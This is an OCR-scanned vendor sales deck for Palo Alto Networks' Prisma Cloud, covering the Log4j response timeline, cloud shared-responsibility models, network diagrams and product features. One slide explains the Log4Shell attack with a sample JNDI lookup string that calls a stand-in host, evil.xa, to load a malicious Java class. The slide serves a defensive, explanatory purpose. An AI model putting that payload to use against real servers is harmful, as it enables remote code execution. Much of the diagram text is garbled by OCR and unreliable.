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We're trusted by the world’s most valuable
enterprises to keep them secure.

Securing more than 85,000+ customers globally

9 of 10 10 of 10 8 of 10

of the Fortune 10 Largest Utilities in the World Largest Manufacturing
Companies in the World

8 of 10 c of 10 7 of 10

Largest U.S. Banks Largest Oil & Gas in the World Top U.S. Hospitals
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Prisma Cloud
Top customers worldwide trust us to secure their cloud environments
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Log4j Vulnerability and Threat Prevention Response Timeline

2021-12-09 21:14 -
signature 91991
published as part of
content update 8498

A remote code execution
(RCE) vulnerability in Apache CVE-2021-44228

log4j was identified being
exploited in the wild.

2021-12-10 15:50 -
updated signature
91991 published as
part of content
update 8499

2021-12-12 17:06 -
signatures 91994 and
91995 published as
part of content
update 8500

2021-12-14 12:00 -
updated signatures 91994
and 91995 published as
part of content update
8501

(=)

S

NIST publishes

Critical Alert
with CVSS of 10.

@

Apache releases
updates 2.15.0, 2.15.1,
and 2.16.0

Dec. 9, 2021

Dec. 10, 2021

Dec. 16 - 13, 2021

2021-12-14 21:54 -
signature 92001 and
updates to 91994 and
91995 published as part of
content update 8502

2021-12-16 21:37 -
signatures 92006 and
92007 added and
updates to 92001
published as part of
content update 8504

N~

Apache updates CVE-
2021-45046 to include
another Critical RCE
vulnerability in 2.15.1

2021-12-17 18:35 -
updated signature
92007 to Critical as
part of content
update 8505

N

2021-12-18 23:18 -
signature 92012 to
cover new vuln
and update to
91991 published in
8506

Apache releases log4j
2.17.0 to address CVE-
2021-45105, High severity
DoS vulnerability in 2.16.0

Dec. 17, 2021

| | Dec.18,2021 |

\I
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CVE-2021-44228
Apache Log4j Vulnerability

The log4j JNDI Attack

e Software: Log4j and how to prevent it
tve it An attacker inserts the JNDI lookup i The string i d to logdj log4j interpolates the stri d
e Severity: Critical header fieldthat 1 kel to be logged. b aeiesthe mlciws LOAP setver
. . “” 7
[ Verslons: I_Og4J 2_)( th rough GET /test HTTP/1.1 ﬁ ${jndi:ldap://evil.xa/x} ldnp://svilﬁ
Host: victim.xa
2.15.0-rcl User-Agent: ${indi:1ldap://evil.xa/x} € DISABLE JNDI LOOKUPS
BLOCK WITH WAF QPATCH LOCHS

¢ Usag,e' Attackers submitti ng a Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server

speaaHycraﬁedrequesttoa hnWMmmm implementation Idap://evil.xa

vulnerable system, dependin L}

YStem, dep 9 L e l. —eo— KA
on how the system is way 0 s LoGY [ ===)
configured, an attacker is able | < o
to instruct that system to © DIsABLE (5
download and subsequently i l % a5
execute a malicious payload. pubfio-cisus Wilicioon npimerts-Seriaiizable { an: :

javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>

static (
<malicious Java code>
}
The LDAP server responds with directory
information that contains the malicious
Java class

JAVA deserializes (or downloads) the
O®® concerren malicious Java class and executes it.
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Application and Infrastructure security dependencies are
stretched across multi-cloud and hybrid-cloud environments

5

Public cloud Public cloud opENsHIFT Private cloud vmware
Lift-and-shift applications Cloud-Native applications Ll e e LT
applications applications
A D B3 s
Alibaba Claud [t I Rl il | Bl R I ) T e
i . - DDD (-\j :',_s‘ I . DCICI (‘\) e
f""' ............... e - : m" ‘ |DDC| @ ’ @-j) : : m ‘ R @ ’ @-j) :
i ::f.? . | VMs Containers Serverless PaaS Data ; | VMs Containers Serverless Data ;
i — ' et i s s s Em s e s e s e e e e .- 'Stofes - U LR R R R _store.s. -
It isntnssos S S S © &
Build Deploy Run Build Deploy Run

Gartner@ 81% of organizations are working with two or more public cloud providers.
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Public cloud security is a shared responsibility

Customers

Data

Hosts, Containers, Functions } :

o .. Responsible et k
: g etworks
®....- for security in
00+

the cloud Users & Credentlals

Resource Conﬂguratlons

Cloud Service Provider
Route rs

Responsible SWltches \aW/S, AAzure D
... for security Hypervisor
O of the cloud HUbS

ORACLE c_)
Data Center Cloud Infrastructure .

Alibaba Cloud
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Impact of Shared Responsibility - What is the cloud customer in charge of?

Cloud Environments

R ibilit On-P laaS PaaS SaaS .
csponsibiiy rrrem fass o ress o ® Corner case create security gaps that are

hard to detect
Configuration of different layers and the
interaction between them is hard to

Data classification
& accountability

Client & end-point

protection

. manage
Identity & access G ey . .
management ® Responsibility for the cloud provider is clear
Application > AGB, the customer is in charge.

level controls

Network controls

Host infrastructure

Physical security

. Cloud Customer Cloud Provider
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Impact of Shared Responsibility
Cloud Network Security POC configuration

Responsibility On-Premf laaS | PaaS  SaaS

Data classification . . . ® IGW Ingress Route Table
& accountability —_— T
Rl Destination Target

Client & end-point . = == 10.0.0.0/16 local
1 rotecte
protection (10.0.0.016) 10.0.0.0/24 vpce-id
- S o 2 -y
Identity & access 1Availability Zone A ' |
management 6 |
Firewall Subnet \i 4 Firewall Subnet Route Table
— (10.0.1.0/28) '
'I':“F’PII 'Cﬂt'?” | . e I P X \  Destination Target
B @en el Irewall < "@:.'.'.'-'-'-'-'-'-'-)"%"ﬁ r—
: - v : 10.0.0.0/16 local
Network controls . . . : Firewall endpoint | | | 0.0.0.0/0 igw-id
' e 1
: &) : P d Subnet R Tabl
q ! rotected Subnet Route Table
Host infrastructure . . . ; (F;rgfg'g%%il;bnet '
1 ' : Destination Target
| [ir:10.00:10 )T
. . | |EIP:54.0.0.10 ' 10.0.0.0/16 local
Physical security ; i
1 Workload ' 0.0.0.0/0 vpce-id
1 1
. Cloud Customer . sevclprevde  $ZzZzZ9ZzZ9zZz 3920 0900 9000 |\L_——""-"-""""°-"""-" """ - " = | |
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Cloud Network Security and Impact of Shared Responsibility

Responsibility

& accountability

Data classification I
Client & end-point I

protection

management

Application
level controls

I Identity & access

Network controls

Host infrastructure

Physical security

On-Prem

Cloud Customer
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PaaS

SaaS

Cloud Provider

It is complicated to configure and to maintain

Spoke VPC A (10.1.0.016)
| B W
' Socke Rt e o gl
' aon Torget
? 100008 Inspection VPC Aetachment -
! Tow | ISIIO0N Ipecton VPG Ktachment
1 [} Asmocencn " 0000 Central Egress VPC Attachment
Firewal Rute Table
aon Artochment
1010016 Spoke VPC A Attachment
10200016 Spoke VIC B Atachment
1030016 Regon 8 Peering Attachment
10400116 Regon 8 Peering Attachment.
10110016 CentralIngress VPC Attchrrt
Ton
Attachment or AWS VPN i |
Attachment H K
{® HIH 10.10.0.0/16 local

g.m--mvrc

(10.11.0.016)

10000/8 tgwid

mm'&h
Destination Target

10.10.0.0/16 local

/8 wpee-id

0.0.0.0/0 Igw-id
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Impact of Shared Responsibility

Prisma Cloud

Responsibility On-Prem PaaS  SaaS

® Provides compliance checks and
configuration visibility against best
practices checks

® Prevents Attacks and Intrusions in app from

L7 into infrastructure stack

® Provides Confidence detecting breaches

and incidents from inside and outside

® Enables Shift-Left Security for Dev(Sec)Ops

Teams

We check identities and least privileges

configurations

Data classification
& accountability

Client & end-point
protection

management

Application
level controls

I Identity & access I

Network controls

Host infrastructure

Physical security

Cloud Customer Cloud Provider
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Audit Trail through Cloud Native Services and App Infrastructure

e We can identify and
alert in real time the
cloud resource in which
the incident happened

e We checkin realtime
from inside app (OS and
infrastructure) and
outside the app
(network activities and
misconfigurations)

e \We provide the ability
for top5 (AWS, Azure,
GCP, OCI, Alibaba) cloud
provider

12 | © 2019 Palo Alto Networks. All Rights Reserved.

[H]. ﬂﬂ. Azure Kubernetes
ﬂﬂﬁgﬂﬁﬁﬂ. Service (AKS)

: Front end g Back-end services :
" "f ——'_’ Tt External

: ©  datastores
Client Apps Azure load :
Pod . ‘9

.

Ingress
balancer 9
autoscaling

: | Namespace Namespace

Utility services

helm u rade f
HEL ................. pgrade :
L Elasticsearch
Azure : Prometheus

docker docker : Kubernetes
Pipelines push pull cluster Namespace
Container :
registry Vt"wk<>
. ®
' Azure Active Monitor Azure Key
Dev/Ops Directory Vault




Cloud Native Service and App Security Controls

e What happens when the attacker breaches into the app environment - e.g. through XSS, Hijack, code injection
e \We search for relevant data points of the incident in network configurations, cloud infrastructure, user
behaviour, user identity and application infrastructure

THREAT INTELLIGENGE FEED

@ 5 O 6
r I Next-Generation

Scanner  Anonymous Anonymous Botnet Attackers Firewall
Proxies Requests

CLOuD P
_m_ NETWORK TIER APPLIGATION TIER M
Network attacks: =
ICMP flood, SSL attacks: Financial
Multiple ISP UDP flood, SSL gotiati. i
:u::.:,y SYN flood ssL flood Services
-1 R ) R
Cloud ,T\ h ]
ou 9 é )
Service ) ) Network ! o0
nd DN
00 ISPa/b —l— ~ e v——
() 1 DNS attacks: HTTP
1 . DNS amplification, Slowloris,
Vlolumelnc altacks.anﬂ query flood, & slow POST, &% 7|
size floods, operations dictionary attack. ive POST/GET el 5
Attacker center experts, L3-7 DNS polsanin (e R B -8
known signature attacks P . e = = o :; Subscriber
IPS a
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Spoke VPC A (10.1.0.016)
Cloud Network r‘" """""""""" e N N

: | P v JeRaRaag =T | oo e poe aien
Security g Eio 00 LD e ey} Toer
. . 1010016  local 1 (D) ‘it JTON ..a ' ( y : 6400/16  local
configuration of a s  we N ) |1 ets™™ e 1 . e
. : (10.1.0.5) Transit Gateway ENI : Firewall Route Toble : ] . i
small environment hia ST sacuivasa T dasa b i} o e : P———
B soore e s 020010 i e e oo sinmsosns ' ——lt Target
: Spore ' '
i i i @ Internet Gateway SLANES b i Firewall Subnet : -t
e Misconfiguratio W T B S -m@ i o000 twwid
. wAvalabiity Zone A i = 8| :
Nns are easily ] g g | frorierr— RN B =1 E——
. o[5 (102 16.028) (102.1.0%24) Astachment H B Frowatongpois || [SSIOE0N ant o
possible Lo —Or e @ | || o il ... Emean
- : : [~ & W i || | mo00n i
[ ] Misco nﬂg uratio :. Frewall enpont - Il -. .“."Y':;‘.':.“.v.'f(.m"»:wz.‘m“ l..Wf?f'f!’?f';"."fi“.'l.. _0000/0  vpceid
> TGW Subnet Private §f‘nm i ‘r"v" = VAvailabilty Zone A
ns |ea.d tO E xm?]::n (10.22.0124) T‘C ;l-‘&;gr“?él mG ::‘ :‘?7?&‘:;1
- =@
secu r|ty . . JE) woooon e

breaches and e | - |

(10.10.16.0/28)

data exfiltration & | R §
Workioad Subnet E 30;:'9;?09 E

(10.3.1.024)

Public Route Table ALB

Publc Subnet

; Destination m (10.10.1.0/24)
| 101100116  local
i| w0005 wwis ' ; NAT Gateway 10.10.00/16  local
oo L PRy @_ 10.00.0/8 vpce-id
"""""""""""""""""""" Internet Gateway 00.0.0/0 igw-id
Direct Connect
Gateway
AWS Site 1o Site VPN
192.168.168.024
/
AWS Direct Connect On P
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Vulnerabilities and Misconfiguration lead to compromised
infrastructure

73% of cloud breaches

involve an email or web Avg 280 days before
server breach is identified

and contained

Execute

()
©

Attack can spread

Bad Actor (Attacker) to 45K+ instances in

Ransomware Data Exfil

100K new attack
variants created each
day

Attack Lifecycle: 1. Penetrate 2. Execute 3. Move Laterally

Sources: Unit 42 Research
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Palo Alto Networks Portfolio Protects Customers from the Apache Log4j Vulnerability

Data Exfil

Incident Response

Execute

Stop-Gaps While Patching Investigate Vulnerable Assets Remove Risk and Exposure

r Prisma Cloud r Prisma Cloud '_6 Prisma Cloud
<L <L Historical Audit Trial

WAF + API Security Workload Protection

MicroSegmentataion Cloud Posture Forensic Data

Customers Need to Patch!

4% paloalto
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Customers need a growing number of capabilities

Visibility, Compliance,
Governance
Misconfigurations
Compliance

Advanced threats
(Cryptomining, Account
Compromise)

to secure their cloud environments

Workload Security
Vulnerabilities - Host,
Container, Serverless

Runtime Threats

Web Application & API
Protection

\

Network Security

Cloud-Native Network
Segmentation

Network Threat
Prevention / NGFW

Identity Security

Identity and Access
Misconfiguration

Over-Privileged Access

Application Lifecycle Security

Code vulnerabilities, Cl / CD pipeline vulnerabilities

17 | © 2020 Palo Alto Networks, Inc. All rights reserved.
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Prisma Cloud
Integrated capabilities for complete cloud native application protection

Cloud Code Cloud Security Cloud Workload Cloud Network Cloud Identity
Security Posture Management Protection Security Security
Secure app artifacts, Monitor cloud security Secure hosts, Monitor and secure Enforce permissions and
analyze code, and posture, detect and respond containers, and cloud networks, enforce secure identities across
fix issues to threats, maintain serverless across the microsegmentation workloads and clouds
compliance application cycle
Infrastructure as Code (laC) Identity-Based
L . ; . A Cloud Infrastructure
seeurty lné?p?eﬁ?rgzd inciep Visibility, Compliance & Host Security Microsegmentation Entitlement Management
Governance Container Security
Threat Detection Serverless Security
Data Security Web App & API Security

Cloud Native Application Lifecycle Security through Build-Deploy-Run Phase

18 | © 2022 Palo Alto Networks, Inc. All rights reserved. % paloalto



Cloud Security: step by step approach

COMPLIANCE, AND 'AND IDENTITIES, AND  APPLICATIO  CONTINUED Key Value
SECURING WORKLOADS  : : ENFORCING PERMISSIONS :: N LIFECYCLE ::INNOVATION
3 A e All Security Use-Cases
Integrated in one
platform
| cloud Code e Common alerting and

ou routing of security
Clou . .

Infrastructure incidents
Entitlement

Management

Maturity in Cloud Security

Cloud .
Network e Workload protection
ecuri .
Cloud Y based on real time and
Workload snapshots

. Protection
Cloud Security

Posture
ment

e Raise cross-
organizational maturity
Baseline Security against security threats
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Vulnerabilities and Misconfiguration lead to compromised
infrastructure

73% of cloud breaches

involve an email or web Avg 280 days before
server breach is identified

and contained

Execute

1)
©

Attack can spread

Bad Actor (Attacker) to 45K+ instances in

Ransomware Data Exfil

100K new attack
variants created each
day

Attack Lifecycle: 1. Penetrate 2. Execute 3. Move Laterally

Sources: Unit 42 Research
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Seud cade cloud Cloud Workioad Cloud Network Cloud identity
Sect Security Security

Cloud Security Posture Management to achieve
compliance and secure multi-cloud environments

Full Infrastructure and Application Lifecycle Security through Build-Deploy-Run Phase

Multi-cloud visibility e Bl L e ases s Integrated threat

and security | — 10890 10447 64 313 66 443 detection
y Most Recent v Pass Low @ Medium @ High @ £ .
Support for the world's 5 B OViwhlers O Vewers O viewNews o P Monitor and analyze
. . ACCOUNT GROUP H A ) H
largest clouds, including ‘ cloud audit logs and
AWS, Azure, Google T P Coutpe network flow logs to
Cloud, Alibaba Cloud, cowoncconT  § - Resouces - Fat = pass , o ©pus detect and prevent
and OCI 2 threats
Optimized . N Scan and secure
0 € Aaba Cloud . .
compliance - public cloud data
Real-time and historical 2= mw M wem  aw s = = Audit cloud storage and
compliance with over 40 o w v 2] [n identify personal
pre-bu”d fra meworks e : SERVICE NAME cLoun TOTAL PASS FAIL & HIGH MEDIUM Low |nfo|’mat|on and
a s - - o e a—— . , malware, integrated with
S @) Asure Resource Manager A 186 154 032 0 0 2 W| |d F| re

Easy onboarding and proven scalability
Unify users and cloud accounts in a single Ul for
managing and enabling cloud security
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Vulnerabilities and Misconfiguration lead to compromised
infrastructure

73% of cloud breaches

involve an email or web Avg 280 days before
server breach is identified

and contained

Execute

Attack can spread

Bad Actor (Attacker) to 45K+ instances in

Ransomware Data Exfil

100K new attack
variants created each
day

Attack Lifecycle: 1. Penetrate 2. Execute 3. Move Laterally

Sources: Unit 42 Research
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Cloud Workload Protection to secure hosts,
containers, and Serverless-Functions

Agent-based
protection and
Agentless scanning
Protect hosts, containers,
and serverless all from a
central Console

Accurate vulnerability

management
Recognized Leader in
vulnerability management
and risk prioritization across
OS, images, and functions

Containers

Full Infrastructure and Application Lifecycle Security through Build-Deploy-Run Phase

Color by: Vulnerabilities default (Namespaces) % prisma (Namespaces) % Q
Total filters: 2 v
€ Allclusters 3
] ?
v & |
pm-demo % |
&

frontend:v0.2.1

* frontend:v0.2.1

amples/micro... e ies ompliance Runtime
Risk summary Vulnerabilities Compliance Runtime

3b152ffe781ec712 3 Critical risk

@ Norisks

@ No events
-d -
Lntiaadad 31 High risk
default = .
© Medium risk
Alpine Linux v3.12
© Lowrisk
faul

Integrated Web Application &

API Security
Protection including OWASP Top 10, API
protection, bot risk management, and more

23 | © 2022 Palo Alto Networks, Inc. All rights reserved.

WAAS

10444 Request Ano...

2128 Web Automa...

1210 HTTP Libraries

1180 Malformed H...

s6a  Code Injection

Runtime protection
and forensics
Secure all application
tech stacks and
investigate events and
incidents

Cloud native

compliance

400+ checks covering
the Linux, Docker, and
Kubernetes CIS
Benchmarks, plus
Windows and Istio
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Vulnerabilities and Misconfiguration lead to compromised
infrastructure

73% of cloud breaches

involve an email or web Avg 280 days before
server breach is identified

and contained

Execute

Attack can spread

Bad Actor (Attacker) to 45K+ instances in

Ransomware Data Exfil

100K new attack
variants created each
day

Attack Lifecycle: 1. Penetrate 2. Execute 3. Move Laterally

Sources: Unit 42 Research
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Cloud Identity

Web Application and API Security - Protect web =
applications and APIs across any public or
private cloud.

Full Infrastructure and Application Lifecycle Security through Build-Deploy-Run Phase

Prisma® Cloud WAAS provides an integrated approach to Web Application and API Security
as part of our Cloud Native Security Platform, supporting the OWASP Top 10 and API
protection, along with capabilities like Vulnerability Management, Compliance, and Runtime
Defense. The WAAS module automatically detects and protects microservices-based web
applications and APIs in cloud and on-premises environments.

. Edit app-0000
e OWASP Top 10 protection
L Ap p | |Ca t I O n a n d A p l p rOteCtIO n App definition App firewall DoS protection Access control Bot protection Custom rules Advanced s
e Botrisk management
e Virtual patching (using Custom Rules) Dos protection o @
{ Appl ICatIOn DOS prOteCtlon © Rate limits and bans are applied by client IP.
Y CO ntl n u O u S Eve n t VISI bl I Ity Prisma session cookies must be enabled for app DoS protection based on session. Enable cookies.
1. Alert Burst rate 1 (Avg requests/sec) Average rate 20
o Ban Burst rate 5 (Avg requests/sec) Average rate 100
Match conditions
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Vulnerabilities and Misconfiguration lead to compromised

L]
infrastructure
73% of cloud breaches
involve an email or web Avg 280 days before
server breach is identified

and contained

Execute

Bad Actor (Attacker)

Ransomware Data Exfil

100K new attack
variants created each
day

Attack Lifecycle: 1. Penetrate 2. Execute 3. Move Laterally

Sources: Unit 42 Research
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Kubernetes Containers

Zero-Trust Cloud ® © ®
Native Network
Security

seeee {. PRISMA Cloud Network Security - .

5 POO®O06 0

Private Cloud Hybrid Cloud Muitl Cloud More..

Mg 280 days before
breach is identified
and contained

Enterprise
network

DC core
|
1 Firewall
|
DC aggregation
DC access

EEE EHE

Bare metal Blade Exchange Blade chassis
servers chassis server with integrated switches

27 | ©2019 Palo Alto Networks. All Rights Reserved.
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Clwd Cndo Clouu wmm Cloud Network (Ioud Ider mhy
Socurity

rity
o

Cloud Network Security to secure workloads by | | = | e | s
removing lateral communication flows P e 5 S o

o

App dependency
mapping

True internet
exposure

...... ~#demo-cloud-account/GKE_Demo -4 B a

. . View Options Profile My Application @D Recursive Q
Visualize network flows ’ Analyze cloud network
@ e C o B 7] o b anl:rl?:li:r sl 10t H]H[”[l;!ﬁ‘." B fronleam . H
across workloads configurations and
Name != somewhere X AND Name i= DNS X Q Ay
S = e assess network-based
Beta  Application Profiling x ¥ r|5k
27 suggested policies (27 selected) Export s
£2 Select the rulesets below ®» € X Ca o . i 4 z
s 4 i s TR it was damis ecen o i
Automatic app < . Agent-based security
profiling (e &, ca Ko da __#. Microsegmentation for
Generate least-privilege B S e hosts and containers
microsegmentation rules o, |ttt | o B & across private and public
based on learned traffic . (e | © I TR e et clouds
patterns v
Action Protocol/Ports To - N

Identity-based microsegmentation
Prevent lateral movement of threats and achieve
zero trust and compliance goals
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Our Unique Approach

Decouple security from the network. Identity
becomes the security perimeter, no IP addresses or
ACLs

Discover and learn application communications
inside and across clouds in real time using a map

Implement and test segmentation policies safely.

.
Private IIH

Cloud

Authenticate and authorize connection requests

using distributed, identity-based enforcement. Deny
Network unknown requests

Infrastructure

% paloalto’



Prisma Cloud Proof of Concept
Integrated capabilities for complete cloud native application protection

Cloud Code Cloud Security Cloud Workload Cloud Network Cloud Identity
Security Posture Management Protection Security Security
Secure app artifacts, Monitor cloud security Secure hosts, Monitor and secure Enforce permissions and
analyze code, and posture, detect and respond containers, and cloud networks, enforce secure identities across
fix issues to threats, maintain serverless across the microsegmentation workloads and clouds
compliance application cycle
Infrastructure as Code (laC) Identity-Based
L . ; . A Cloud Infrastructure
seeurty lné?p?eﬁ?rgzd inciep Visibility, Compliance & Host Security Microsegmentation Entitlement Management
Governance Container Security
Threat Detection Serverless Security
Data Security Web App & API Security

Qualify Opportunity, Execute Evaluation (30 days), Close the Deal
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¢ PRISMA

Thank you

Sebastian Straube

Lead Cloud Solution Architect DACH

sstraube@paloaltonetworks.com
linkedin.com/in/sebastianstraube
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